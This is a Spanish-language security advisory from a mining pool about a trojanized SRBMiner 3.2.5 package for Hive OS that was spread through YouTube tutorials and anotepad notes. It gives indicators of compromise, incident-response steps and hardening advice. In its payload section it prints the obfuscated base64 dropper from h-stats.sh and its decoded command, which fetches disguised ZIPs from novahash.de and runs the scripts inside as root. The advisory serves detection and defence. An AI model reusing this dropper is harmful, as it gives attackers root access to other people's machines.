⚠️ Aviso de seguridad · Prioridad alta

Paquete SRBMiner 3.2.5 troyanizado en circulación
Lo que los mineros necesitan saber, en el orden en que les va a importar

Un archivo falso de SRBMiner-Multi se está distribuyendo desde miningrepositories.blog y duplicado en el repositorio de GitLab gitlab.com/hiveos-custom/m, promocionado mediante tutoriales de YouTube del canal «Argenminer» con instrucciones de configuración alojadas en anotepad.com. La carga útil descarga una segunda etapa con privilegios de root desde novahash.de a través del script de estadísticas de Hive OS, cada diez segundos o así. Algo que, dicho con suavidad, resulta bastante descarado.

Publicado el 17 de abril de 2026 · Actualizado el 1 de mayo de 2026 · Suprnova.cc · Pools de minería desde 2013

✅ Actualización · 1 de mayo de 2026

El canal de YouTube de Argenminer ha desaparecido.

Tras las solicitudes de retirada coordinadas y los avisos que presentamos a YouTube, la plataforma ha eliminado el canal completo de Argenminer — todos los vídeos tutoriales que promocionaban el paquete troyanizado, incluidos los enlazados en este aviso (ID Id3nMIt18EE para el tutorial de Vertcoin y xiA81jvYFJs para el de LuckyPepe), están ahora fuera de línea.

La principal vía de captación de nuevas víctimas de la campaña está cortada. El malware en sí, el espejo de GitLab, la nota de anotepad y novahash.de pueden seguir existiendo en algún lugar — y cualquier rig ya comprometida sigue estándolo, por lo que las indicaciones originales más abajo siguen vigentes. Pero el canal de YouTube que era la cara pública de esta campaña ya no existe, y el embudo de captación más efectivo del actor está muerto.

⚠️ Si instalaste este paquete

No intentes limpiar a mano. Formatea el rig.

El script h-stats.sh de este archivo se ejecuta como root en cada poll de estadísticas de Hive OS — aproximadamente cada diez segundos, mientras el rig esté encendido. Descarga y ejecuta una segunda etapa y luego borra los artefactos visibles. Si eliminas los archivos a mano, reaparecen en el siguiente poll. Un detalle poco amable por su parte.

A ese nivel de privilegio, la máquina ya no es de fiar. Debes reinstalar el rig desde una imagen limpia del sistema operativo y rotar todas las credenciales que hayan tocado ese equipo — cuentas de pool y claves de API, claves SSH, semillas de wallet guardadas en disco, sesiones de navegador almacenadas, todo. Revisa también cualquier otro equipo que comparta credenciales con el rig afectado, porque el movimiento lateral es precisamente la clase de entretenimiento que disfruta este tipo de atacante.

Sabemos que «formatea el rig» no es lo que nadie quiere oír un jueves. Es, sin embargo, la única respuesta correcta.

Autoidentificación: si configuraste un rig siguiendo un tutorial de YouTube del canal «Argenminer» (youtube.com/@Argenminer) para minar C64Chain, Qubit (QTC), Vertcoin (VTC) o LuckyPepe (LPEPE) a partir del 16 de abril de 2026; si el install_url de tu flightsheet apunta a miningrepositories.blog o a gitlab.com/hiveos-custom/m; si seguiste las instrucciones de una nota de anotepad.com (p. ej. anotepad.com/notes/a7ycensj); o si alguien te dejó cualquiera de esos enlaces en el Discord de alguna de esas monedas — por ahí te llegó el archivo. Trata el rig como comprometido y sigue los pasos de arriba.

Resumen

Alguien está distribuyendo un paquete SRBMiner-Multi 3.2.5 manipulado desde miningrepositories.blog y un espejo en GitLab en gitlab.com/hiveos-custom/m. La campaña se promociona mediante tutoriales de YouTube del canal «Argenminer», que aloja las instrucciones de configuración (wallet, pool, install_url) en notas de anotepad.com — p. ej. anotepad.com/notes/a7ycensj — y que hasta el momento ha apuntado a C64Chain, Qubit (QTC), Vertcoin (VTC) y LuckyPepe (LPEPE). El binario del minero parece legítimo y funciona como cobertura; la parte maliciosa está oculta en h-stats.sh como un bloque base64 que, en cada poll de estadísticas de Hive OS, descarga dos supuestas «imágenes» (en realidad ZIPs) desde novahash.de, las extrae en /etc/, ejecuta los scripts shell contenidos como root y luego recoge las pruebas. Si instalaste este archivo en cualquier rig: formatea. Bloquea novahash.de, miningrepositories.blog y gitlab.com/hiveos-custom/m en el firewall. Descarga SRBMiner únicamente desde github.com/doktor83/SRBMiner-Multi/releases y verifica el SHA256 contra el valor publicado.

IOCs — para quien solo quiere hacer grep

Todo lo que un defensor necesita en un único bloque. Más detalle abajo, pero si vienes a auditar tu flota, empieza aquí.

Red (bloquear)
Dominios de distribución
miningrepositories.blog
gitlab.com/hiveos-custom/m (rutas de contenido raw bajo este repo)
Dominio C2 de segunda etapa
novahash.de
URLs de segunda etapa
https://novahash.de/fileslab/recuaikaan.png
https://novahash.de/fileslab/mqtato-fla.jpg
URLs del archivo troyanizado
https://miningrepositories.blog/srbminer-3.2.5.tar.gz
https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz
Página de instrucciones controlada por el atacante
https://anotepad.com/notes/a7ycensj (última actualización observada el 19/04/2026; el contenido puede rotar)
Canal de promoción (YouTube)
https://www.youtube.com/@Argenminer
Vídeo conocido: https://www.youtube.com/watch?v=Id3nMIt18EE («VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet.»)
Artefactos de archivo (pueden estar ausentes — el dropper se limpia solo)
/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh
Hashes (binario de cobertura)
SHA256 (srbminer_bin)
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
BuildID (srbminer_bin)
fc2487ec223c91039748e53c08328af91260cd8c

Los artefactos en disco los limpia el dropper tras cada ejecución, por lo que su ausencia no te exonera. Solo su presencia es concluyente. Juzga a partir de logs, del contenido de h-stats.sh en disco y del tráfico saliente hacia novahash.de.


Vector de distribución

El paquete se ofrece desde dos puntos de distribución distintos controlados por el atacante — con al menos una capa de staging adicional en un servicio público tipo pastebin. Los tres alojan el mismo srbminer-3.2.5.tar.gz troyanizado, y los tres están elegidos para parecer recursos genéricos de la comunidad ante un operador que busca binarios de mineros:

Puntos de distribución conocidos
Señales de alarma rápidas

Distribución: tutoriales de YouTube y siembra en Discord (observado)

El archivo troyanizado no está esperando en un dominio al azar a que alguien tropiece con él. Se está promocionando activamente a través de canales en los que los mineros confían, y la capa de promoción es más amplia y deliberada de lo que describía el aviso original del 17 de abril de 2026. A día 19 de abril de 2026 el panorama es el siguiente:

Distribución observada (actualizado el 19/04/2026)
Aviso para operadores de pool: se están usando pools legítimos como decorado

Cada flightsheet de Argenminer apunta a un pool de terceros real y operativo para que el rig de la víctima parezca estar minando de verdad (ejemplos capturados incluyen vertcoin.cedric-crispin.com:3334 para VTC y el propio pool lpepe.suprnova.cc de Suprnova en el tutorial de LPEPE). El pool, el nombre del worker y el identificador de wallet en el flightsheet son todo decorado — la monetización del atacante es root en el rig de la víctima, no ese pequeño goteo de comisiones de minería. Si operas un pool cuyo nombre de host aparece en un flightsheet enlazado desde un vídeo de Argenminer o una nota de anotepad, no estás «infectado», pero te están usando como capa de legitimidad para la campaña de malware de otra persona. Plantéate desautorizar públicamente el flightsheet y dirigir a tus usuarios a este aviso. (Suprnova lo ha hecho con el tutorial de LPEPE que apunta a nuestro pool; véase el vídeo de LPEPE de arriba.)

Qué nos dice esto sobre el modus operandi del atacante

Esto es ingeniería social, no una descarga drive-by. Cada paso del proceso está elegido a propósito para bajar la guardia de la víctima:

  1. Elegir monedas pequeñas con Discords activos y un goteo constante de recién llegados. C64Chain, QTC, una moneda de nicho con más recorrido como Vertcoin o una micro-cap recién salida como LuckyPepe (LPEPE) son justo el tipo de objetivo en el que un minero novato aterriza en el Discord, pregunta cómo empezar y acepta agradecido el primer enlace que alguien servicial le da. Las monedas grandes reciben más escrutinio; las pequeñas, más confianza; las recién salidas, prácticamente ningún escrutinio.
  2. Producir un tutorial que realmente funcione. Los vídeos de YouTube muestran rigs que efectivamente minan, porque el binario del minero en el archivo es un minero real y funcional (cobertura) y el campo url del flightsheet apunta a un pool de terceros real y operativo. La prueba visual convence — un vídeo con shares aceptados entrando vale más que mil «confía en mí».
  3. Abusar de hosting de confianza. Apuntar el install_url a una URL de contenido raw de GitLab (gitlab.com/hiveos-custom/m) y alojar el JSON del flightsheet en un servicio pastebin adyacente a GitLab (anotepad.com). El host de descarga es infraestructura de primer nivel; el host del flightsheet es un acortador de URL con otro nombre. Ninguno de los dos va a levantar sospechas a un recién llegado curioso.
  4. Primero acumular reputación, luego armar. Una vez que el vídeo existe, se le suman más vídeos en el mismo canal y unos cuantos comentarios dicen «me ha funcionado, gracias», el enlace se alimenta a sí mismo — cada nuevo espectador ve prueba social antes de ver un motivo para desconfiar.
  5. Sembrar en canales de principiantes. Soltar el enlace de anotepad o del archivo en canales de Discord donde los novatos piden ayuda de configuración. La carga se ejecuta en el primer poll de estadísticas; el atacante no necesita nada más de la víctima que «sigue el tutorial».
  6. Contar con que los moderadores no auditan archivos ni flightsheets. Prácticamente ningún Discord de moneda tiene recursos para hacer ingeniería inversa a cada archivo «útil» publicado en su canal de minería, ni para comparar el wal_id de un flightsheet compartido con el operador que lo publicó. Un usuario simpático con canal de YouTube parece un miembro de la comunidad, no una amenaza.
  7. Rotar los artefactos, mantener el canal. La nota de anotepad se puede editar en cualquier momento — el identificador de wallet, la URL del pool, el install_url pueden cambiar en segundos. El canal de YouTube es el activo duradero; el enlace de anotepad dentro de la descripción de cada vídeo es el mecanismo que dirige el tráfico. Los takedowns de hosts de archivos concretos no rompen la campaña mientras el canal siga en pie.
La lección

Un tutorial de YouTube que funciona y un post amable en Discord no son señales de confianza. El vídeo del atacante seguramente muestra un rig minando correctamente — porque lo hace. El daño está dentro de h-stats.sh, ejecutándose como root, en el rig que el espectador acaba de configurar con esmero. Si eres minero nuevo: descarga mineros solo desde el repositorio oficial del proyecto y verifica el SHA256 cada vez. Si llevas un Discord de moneda: considera fijar un aviso en la parte superior del canal de minería — «no confíen en archivos publicados aquí que no vengan del proyecto oficial».

Si formas parte de la comunidad de C64Chain, Qubit (QTC), Vertcoin (VTC) o LuckyPepe (LPEPE) y configuraste un rig desde alguno de los tutoriales de Argenminer, o pasaste el enlace a alguien — comparte este aviso con la comunidad y considera como comprometido cualquier rig montado desde cualquiera de esas guías.


Contenido del archivo

El archivo es una integración completa de minero personalizado para Hive OS, con una integración de Minerstat (mmp-*) colada dentro por buena medida. Las distribuciones auténticas entregan una o la otra, no ambas — así que el mero hecho de encontrarlas juntas ya delata el paquete.

ArchivoTamañoEstado
h-manifest.conf616 BLimpio (alteraciones cosméticas)
h-run.sh764 BLimpio (alteraciones cosméticas)
h-config.sh205 BLimpio
h-stats.sh8646 BMALICIOSO — contiene el dropper
mmp-stats.sh4116 BLimpio
mmp-external.conf63 BLimpio (versión inconsistente)
srbminer_bin20 309 184 B (~20 MB)Probablemente auténtico (cobertura)

Pistas de reempaquetado

Ninguno de los siguientes rasgos es malicioso en sí mismo — son las pistas diagnósticas que muestran que el paquete no viene de donde afirma venir:


La carga: h-stats.sh

La mayor parte de h-stats.sh es, molestamente, un parser de estadísticas de Hive OS perfectamente funcional. Consulta la API HTTP del minero en 127.0.0.1:$MINER_API_PORT, parsea hashrate, shares, temperaturas y velocidades de ventilador para workers de GPU y CPU, gestiona minería mono y dual-algoritmo, y devuelve un JSON de estadísticas válido al agente Hive. No es casual: es la cobertura. Si el script fallara, Hive mostraría el rig como offline y el operador investigaría en minutos.

Añadido después de la lógica legítima de estadísticas y antes de las asignaciones de fallback, aparece este bloque:

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Decodificada, la carga base64 es:

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Comportamiento, paso a paso

  1. Se descargan dos supuestos archivos de imagen (.png y .jpg) mediante wget desde novahash.de. Las extensiones de imagen son camuflaje: el contenido real son archivos ZIP. Técnica conocida para sortear filtros de egress ingenuos que inspeccionan tráfico de scripts y archivos pero dejan pasar imágenes.
  2. Cada archivo se escribe en /etc/, se renombra a .zip y se extrae en el mismo sitio con unzip -o (sobrescritura).
  3. Cada archivo contiene un script shell (recuaikaan.sh, mqtato-fla.sh) que luego se ejecuta — el primero explícitamente con sudo, el segundo apoyándose en el contexto de root ya establecido por el agente Hive.
  4. Los cuatro artefactos (ambos .zip y ambos .sh) se eliminan luego de /etc/. Esto limpia la huella del dropper: una inspección forense de /etc/ posterior no encuentra nada, mientras que lo que los scripts de segunda etapa hayan instalado en otro sitio permanece residente.
  5. La cadena entera corre en segundo plano vía nohup … &, por lo que la salida legítima de estadísticas ni se bloquea ni se retrasa. Hive sigue viendo un rig saludable.

Por qué h-stats.sh es el punto de inyección perfecto

Por qué esta ubicación es especialmente molesta, en lenguaje llano

Qué gana con eso el atacante:

Imagínate que alguien mete en tu buzón una nota que dice «por favor, deja la puerta trasera abierta», y vuelve a dejar la misma nota cada diez segundos para siempre, recogiendo cada vez la anterior. No puedes ganar ese juego. Tienes que cambiar la cerradura.


El minero de cobertura: srbminer_bin

El binario incluido parece una build legítima o casi legítima de SRBMiner-Multi. Su trabajo, desde el punto de vista del atacante, es no llamar la atención:

El plan del atacante depende de que el minero produzca hashrate y shares plausibles para que los dashboards de Hive y Minerstat se vean normales y el operador no tenga motivos para investigar. Toda la funcionalidad maliciosa observada está en h-stats.sh; el binario no es el vector de ataque.

Recomendación de verificación

Compara el SHA256 del binario con los hashes conocidos publicados en github.com/doktor83/SRBMiner-Multi/releases, o envía el archivo a VirusTotal. Una discrepancia con cualquier hash SRBMiner publicado es motivo para tratar el binario como sospechoso, al margen de lo que diga este aviso.


Indicadores de compromiso completos

Red

Canal de promoción / ingeniería social

Archivos (artefactos del dropper)

Eliminados por el propio dropper tras ejecutarse — su ausencia no exculpa:

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

Hashes de archivo

Firmas de proceso y comportamiento

Señales a nivel de paquete (útiles para detectar otros troyanizados)


Checklist de respuesta a incidentes

Si instalaste el paquete en cualquier rig o servidor, recorre los siguientes pasos en orden. Con un leve punto de mal humor. Es la postura emocional adecuada.

1

Aislar

Desconecta el rig afectado de la red inmediatamente. No lo apagues primero: el estado de memoria puede ser útil, y algunos mecanismos de persistencia se disparan en el arranque.

2

Bloquear C2 en todas partes

Añade novahash.de a los sinkholes DNS y a las listas de bloqueo del firewall en toda la red, no solo en el rig afectado. El movimiento lateral es posible; asume que otros equipos pueden haber sido tocados.

3

Snapshot para forense (opcional)

Si tienes paciencia, imagina el disco antes de la remediación y captura memoria si tienes herramientas. Si no — bien, pasa directo a la remediación.

4

Comprobar artefactos del dropper

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null
5

Comprobar indicadores de rootkit userland

cat /etc/ld.so.preload   # debe estar vacío o no existir
6

Buscar archivos modificados recientemente

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null
7

Auditar mecanismos de persistencia

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all
8

Rastrear backdoors SSH

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config
9

Comprobar conexiones salientes

ss -tnp | grep -E '(srbminer|sh|wget|curl)'
10

Revisar persistencia de segunda etapa y exfiltración

Esto no es un cryptojacker — el atacante va a por persistencia a nivel root y todo lo que eso le permita hacer después: rastrear el disco en busca de archivos de seed de wallet y keystores, sacar credenciales de pool y claves SSH de los archivos de configuración, pivotar a otras máquinas de la LAN, enrolar el rig en una botnet o en un pool de proxies residenciales. Busca señales de actividad post-compromiso: binarios ocultos en rutas poco habituales, archivos RC de shell modificados (~/.bashrc, ~/.profile, /etc/profile.d/), módulos de kernel nuevos, conexiones salientes inesperadas hacia hosts que no sean tu pool, y cualquier proceso que no haya lanzado tu propio setup de minado y que esté corriendo como root.

11

Ejecutar escáneres de rootkit

chkrootkit
rkhunter --check --skip-keypress
12

Revisar logs de sudo

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null
13

Si cualquier indicador aparece — reinstalar. Sin más.

Código userland ejecutándose como root en intervalos cortos no se limpia a mano de forma fiable. Reinstala el SO del rig, rota todas las credenciales que hayan tocado la máquina (cuentas de pool, claves SSH, semillas de wallet guardadas en disco) y audita cualquier otro dispositivo que comparta credenciales con el rig afectado. Ocasión perfecta para arreglar cosas que llevas tiempo posponiendo.


Endurecimiento: cómo no acabar aquí

Algunas costumbres que habrían evitado todo esto de raíz. Ninguna es novedosa; todas son aburridas; lo aburrido es justamente lo que buscamos.

1. Descargar mineros solo de fuentes verificadas

Para SRBMiner, eso significa github.com/doktor83/SRBMiner-Multi/releases. Para cualquier otro minero, busca la página oficial del proyecto en GitHub — normalmente enlazada desde la página Getting Started del pool. Todo lo demás es conjetura.

2. Verificar siempre el SHA256

Las releases oficiales publican sumas. sha256sum sobre la descarga, comparándolo con el valor publicado. Ocho segundos. Reinstalar un rig lleva bastante más.

3. Desconfiar de paquetes «custom» o «patched»

Salvo que vengan de una fuente comunitaria conocida y de confianza. Los wrappers de integración de estadísticas son un punto de inyección favorito precisamente porque casi nadie los lee. Ese es literalmente el motivo por el que estamos aquí.

4. Leer los scripts de integración antes del primer arranque

Pasa 30 segundos con less h-stats.sh antes de apuntar un flight sheet a un minero personalizado. Cadenas codificadas largas, llamadas de red a dominios desconocidos, escrituras en /etc/ o /usr/local/ — cualquiera de estas señales justifica, por sí sola, una pausa.

5. Filtrado de salida

Un rig no necesita alcanzar dominios arbitrarios. Lista blanca de IPs del pool y bloqueo de todo lo demás. Un rig filtrado correctamente no puede ser «stageado» aunque un script malicioso se ejecute, porque no tiene dónde descargar la segunda etapa.

6. Monitorizar conexiones salientes

Un rig haciendo solicitudes HTTPS a cualquier cosa fuera del pool es sospechoso por defecto. No es paranoia: es la detección más barata que tienes.

7. Recordar qué corre como root

En Hive OS, el agente Hive corre como root y la cuenta user tiene sudo sin contraseña. Cualquier script que el agente invoque tiene, de facto, privilegios de root. Tenlo presente. Si tu framework admite usuarios de minado no privilegiados, úsalos.


Una nota de Suprnova

Los operadores de pools y sus mineros son una población objetivo muy atractiva para este tipo de ataque. Un minero troyanizado en un rig no es cryptojacking — es peor. En cuanto el dropper tiene root, puede rastrear el disco en busca de archivos de seed de wallet y keystores respaldados, sacar credenciales de pool y claves SSH de los archivos de configuración, cosechar sesiones de navegador, enrolar el rig en una botnet o en un pool de proxies residenciales, y pivotar hacia el resto de tu infraestructura. La carcasa con forma de minero es solo la tapa de la caja; lo que de verdad le interesa al atacante es todo lo que hay dentro. Nuestros usuarios son, de media, más técnicos, más valiosos y más específicamente objetivo que la población general de «gente que descarga cosas», y esa atención, en balance, no es un cumplido.

Si te topas con una descarga de minero sospechosa, un archivo inusual o un DM de Discord/Telegram promocionando un minero «custom» o «patched», por favor reénvíalo a admin@suprnova.cc o déjalo en nuestro Discord. Lo miraremos, actualizaremos este aviso si hace falta y avisaremos al resto de la comunidad. Cinturón, tirantes y un toque de paranoia compartida — los tres pilares de un rig de minado feliz.


En resumen

El archivo en https://miningrepositories.blog/srbminer-3.2.5.tar.gz y la copia idéntica en https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz están troyanizados. El binario del minero es cobertura; la carga real vive en h-stats.sh y contacta con novahash.de cada diez segundos, como root, mientras el rig siga funcionando.

El canal de YouTube @Argenminer es la capa de promoción. Sus vídeos guían paso a paso la configuración de un flightsheet de Hive OS y enlazan — a través de una nota de anotepad.com — al install_url troyanizado. Si seguiste un tutorial de Argenminer para C64Chain, Qubit (QTC), Vertcoin (VTC) o LuckyPepe (LPEPE) a partir del 16 de abril de 2026, trata el rig como comprometido.

Si instalaste este paquete en cualquier máquina, debes formatearla. No «investigarla». No «limpiarla». Formatearla. Rota todas las credenciales que hayan tocado la máquina. Audita todo lo que comparta credenciales con ella. No existe una opción intermedia que también sea correcta.

Bloquea novahash.de, miningrepositories.blog y las rutas de contenido raw bajo gitlab.com/hiveos-custom/m. En DNS y en el firewall de salida. En todas partes, no solo en el rig afectado. Trata la nota de anotepad.com en anotepad.com/notes/a7ycensj como una página conocida como controlada por el atacante, aunque su contenido cambie.

Descarga mineros solo de fuentes upstream verificadas y verifica el SHA256 cada vez. Las releases oficiales de SRBMiner están en github.com/doktor83/SRBMiner-Multi/releases. Cualquier otro sitio que afirme ofrecer SRBMiner — un blog de herramientas de minería, una cuenta cualquiera de GitLab, el enlace pastebin de un tutorial de YouTube — es, como mínimo, no fiable.

Artículos relacionados

Seguridad del pool de minería

Cómo los pools se protegen a sí mismos y a sus mineros frente a DDoS, exploits y otras amenazas.

Guía de hardware de minería

Guía práctica para elegir y mantener hardware de minería — incluyendo el lado software, a veces aburrido.

Un día en la vida de un operador de pool

Cuando equipos comprometidos apuntan a tu pool, todo el mundo pierde — incluido el martes del operador.